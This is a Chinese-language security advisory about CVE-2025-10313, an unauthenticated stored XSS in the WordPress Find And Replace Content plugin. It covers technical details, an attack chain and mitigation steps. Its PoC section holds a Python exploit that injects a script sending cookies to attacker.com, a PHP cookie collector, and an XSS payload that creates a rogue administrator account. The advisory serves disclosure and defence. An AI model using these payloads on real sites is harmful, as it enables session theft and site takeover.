IPBUF安全漏洞报告
English
CVE-2025-10313 CVSS 7.2 高危

CVE-2025-10313 WordPress Find And Replace插件存储型XSS漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10313
漏洞类型
存储型跨站脚本攻击(Stored XSS)及任意内容替换
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Find And Replace Content 插件

相关标签

CVE-2025-10313WordPress存储型XSSStored XSS权限提升权限绕过缺少能力检查Missing Capability CheckFind And Replace插件漏洞

漏洞概述

CVE-2025-10313是WordPress平台上一款名为"Find And Replace Content"(查找和替换内容)的插件中存在的高危安全漏洞。该漏洞由WordPress安全厂商Wordfence的安全研究团队发现并披露,CVSS评分为7.2分,属于高危级别漏洞。

该漏洞的核心问题在于插件中的far_admin_ajax_fun()函数缺少必要的能力检查(capability check),导致未认证的攻击者可以调用该函数执行存储型跨站脚本攻击(Stored XSS)和任意内容替换操作。由于该函数未对调用者的权限进行验证,任何未登录的访问者都可以向服务器提交恶意请求,将恶意的JavaScript代码或HTML内容注入到网站的页面中。

一旦恶意脚本被存储到网站的数据库中,每当普通用户或管理员访问包含该恶意内容的页面时,注入的脚本就会自动执行。攻击者可以利用此漏洞实施多种恶意行为,包括但不限于:窃取用户会话Cookie、劫持管理员账户、实施权限提升攻击、进行恶意重定向、将访问者引导至钓鱼网站或恶意软件下载页面,以及在受害者浏览器中执行任意JavaScript代码等。该漏洞影响该插件的所有1.1及以下版本,使用该插件的WordPress网站面临严重的安全风险。

技术细节

该漏洞的技术根源在于WordPress插件"Find And Replace Content"的far_admin_ajax_fun()函数缺少权限验证机制。在WordPress插件开发中,管理员级别的AJAX操作应当通过current_user_can()函数或类似机制验证调用者是否具备相应的管理权限(如manage_options),以防止未授权用户调用敏感功能。

然而,该插件的far_admin_ajax_fun()函数通过WordPress的AJAX钩子(如wp_ajax_或wp_ajax_nopriv_)注册,允许未认证用户直接调用。由于缺少能力检查,攻击者可以构造特定的AJAX请求,调用该函数并传入恶意的搜索和替换参数。

具体利用方式如下:
1. 攻击者通过POST请求向WordPress的admin-ajax.php端点发送带有action=far_admin_ajax_fun参数的请求;
2. 请求中包含搜索关键词(search_text)和替换内容(replace_text)参数;
3. 替换内容中可以包含恶意的JavaScript代码,如<script>alert(document.cookie)</script>或更复杂的payload;
4. 插件执行查找替换操作时,会将恶意脚本写入数据库中的文章、页面或其他内容中;
5. 当其他用户(尤其是管理员)访问被注入的页面时,恶意脚本在受害者浏览器中执行;
6. 攻击者可通过XSS进一步实施权限提升、账户接管或植入后门等攻击。

由于整个过程无需认证(PR:N)且无需用户交互(UI:N),攻击者可以批量扫描并自动化攻击大量使用该插件的WordPress网站。

攻击链分析

STEP 1
步骤1:目标识别
攻击者使用自动化工具(如WPScan或自定义脚本)扫描互联网上的WordPress网站,识别安装了Find And Replace Content插件且版本低于或等于1.1的目标站点。
STEP 2
步骤2:构造恶意请求
攻击者构造一个POST请求,目标是WordPress的admin-ajax.php端点,请求中包含action=far_admin_ajax_fun参数以及恶意的搜索和替换内容参数,替换内容中包含JavaScript恶意代码。
STEP 3
步骤3:发送未认证请求
由于far_admin_ajax_fun()函数缺少能力检查,攻击者无需任何认证即可成功调用该函数,恶意内容被写入WordPress数据库中存储。
STEP 4
步骤4:触发恶意脚本执行
当网站管理员或其他用户访问包含被注入恶意内容的页面时,浏览器自动执行注入的JavaScript代码,攻击者可窃取Cookie、会话令牌等敏感信息。
STEP 5
步骤5:权限提升与持久化
利用窃取的管理员会话或通过XSS直接执行AJAX请求,攻击者创建新的管理员账户、植入后门、上传Web Shell或修改网站内容,实现对网站的完全控制。
STEP 6
步骤6:恶意重定向与分发
攻击者可在网站中注入恶意重定向代码,将正常访客引导至钓鱼网站、恶意软件下载页面或加密货币挖矿页面,实现大规模恶意分发。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10313 PoC - Find And Replace Content Plugin Stored XSS # Exploits missing capability check in far_admin_ajax_fun() function import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # The AJAX endpoint used by WordPress for unauthenticated AJAX calls ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious JavaScript payload to be injected via stored XSS # This payload steals cookies and sends them to attacker's server xss_payload = "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>" # Craft the exploit request # The action parameter triggers the vulnerable far_admin_ajax_fun() function exploit_data = { "action": "far_admin_ajax_fun", "search_text": "existing_text_on_site", # Text to search for "replace_text": xss_payload, # Malicious replacement # Additional parameters may be required depending on plugin version } # Send the unauthenticated exploit request # Note: No authentication required (PR:N) and no user interaction needed (UI:N) response = requests.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Malicious script will execute when admin visits affected pages") else: print(f"[-] Request failed with status code: {response.status_code}") # Attacker's cookie collector (steal.php) # <?php # $cookie = $_GET['cookie']; # file_put_contents("stolen_cookies.txt", $cookie . "\n", FILE_APPEND); # ?> # Alternative: Privilege escalation payload # Using XSS to create a new admin account escalation_payload = """ <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "/wp-admin/user-new.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("action=createuser&_wpnonce_create-user=&user_login=hacker&[email protected]&pass1=Password123!&pass2=Password123!&role=administrator"); </script> """

影响范围

Find And Replace Content for WordPress <= 1.1

防御指南

临时缓解措施
在官方发布修复版本之前,建议网站管理员立即停用"Find And Replace Content"插件以防止被利用。如无法立即停用,可通过修改.htaccess文件或Nginx配置限制对wp-admin/admin-ajax.php中far_admin_ajax_fun操作的访问。同时,部署Web应用防火墙(WAF)规则过滤包含恶意脚本特征的POST请求,启用Content Security Policy(CSP)头部缓解XSS攻击影响,并密切监控网站日志中的异常请求。建议检查网站内容中是否已存在被注入的恶意脚本,及时清理并重置所有管理员密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表